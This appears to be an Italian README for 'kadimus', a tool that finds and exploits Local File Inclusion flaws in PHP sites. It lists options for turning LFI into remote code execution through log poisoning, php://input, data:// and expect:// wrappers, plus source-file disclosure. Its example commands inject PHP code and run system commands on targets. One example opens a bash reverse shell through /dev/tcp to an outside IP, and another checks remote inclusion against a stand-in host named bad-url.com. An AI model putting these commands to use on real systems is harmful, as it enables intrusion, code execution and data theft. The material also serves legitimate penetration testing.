
kadimus è uno strumento per verificare e sfruttare la vulnerabilità LFI.
kadimus è uno strumento per verificare e sfruttare vulnerabilità LFI, con particolare attenzione ai sistemi PHP.
Caratteristiche:
Per prima cosa, assicurati di avere tutte le dipendenze installate nel tuo sistema: libcurl, libopenssl, libpcre e libssh.
Poi puoi clonare il repository per ottenere il codice sorgente:
$ git clone https://github.com/P0cL4bs/kadimus.git
$ cd kadimus
$ make
Options:
-h, --help Mostra questo menu di aiuto
Richiesta:
-B, --cookie STRING Imposta un header cookie HTTP personalizzato
-A, --user-agent STRING User-Agent da inviare al server
--connect-timeout SECONDS Tempo massimo consentito per la connessione
--retry NUMBER Numero di tentativi in caso di fallimento della connessione
--proxy STRING Proxy a cui connettersi (sintassi: protocol://hostname:port)
Scanner:
-u, --url STRING URL da scansionare/sfruttare
-o, --output FILE File per salvare i risultati
Sfruttamento:
--parameter STRING Nome del parametro per iniettare l'exploit
(necessario solo per RCE data e source disclosure)
RCE:
-T, --technique=TECH Tecnica LFI to RCE da utilizzare
-C, --code STRING Codice PHP personalizzato da eseguire, con parentesi php
-c, --cmd STRING Esegui un comando di sistema sul sistema vulnerabile
-s, --shell Interfaccia shell di comando semplice tramite richiesta HTTP
--connect STRING IP/hostname a cui connettersi
-p, --port NUMBER Numero di porta a cui connettersi o su cui ascoltare
-l, --listen Associa e ascolta le connessioni in arrivo
--ssh-port NUMBER Imposta la porta SSH per tentare l'iniezione di comandi (predefinito: 22)
--ssh-target STRING Imposta l'host SSH
Tecniche RCE disponibili
environ Tenta di eseguire codice PHP usando /proc/self/environ
input Tenta di eseguire codice PHP usando php://input
auth Tenta di eseguire codice PHP usando /var/log/auth.log
data Tenta di eseguire codice PHP usando data://text
expect Tenta di eseguire un comando usando expect://cmd
Divulgazione del codice sorgente:
-S, --source Tenta di ottenere il file sorgente usando filter://
-f, --filename STRING Imposta il nome del file per ottenere il sorgente [OBBLIGATORIO]
-O FILE Imposta il file di output (predefinito: stdout)
./kadimus -u localhost/?pg=contact -A my_user_agent
./kadimus -u localhost/?pg=contact -S -f "index.php%00" -O local_output.php --parameter pg
./kadimus -u localhost/?pg=php://input%00 -C '<?php echo "pwned"; ?>' -T input
./kadimus -t localhost/?pg=/var/log/auth.log -T auth -c 'ls -lah' --ssh-target localhost
Puoi anche verificare la presenza di errori RFI — basta inserire l'URL remoto in resource/common_files.txt e la regex per identificarli, esempio:
/* http://bad-url.com/shell.txt */
<?php echo base64_decode("c2NvcnBpb24gc2F5IGdldCBvdmVyIGhlcmU="); ?>
nel file:
http://bad-url.com/shell.txt?:scorpion say get over here
./kadimus -u localhost/?pg=contact.php -T data --parameter pg -lp 12345 -c '/bin/bash -c "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1"' --retry-times 0
Puoi aiutare con il codice o donando. Se vuoi aiutare con il codice, usa lo stile del codice del kernel come riferimento.
BTC: 1PpbrY6j1HNPF7fS2LhG9SF2wtyK98GSwq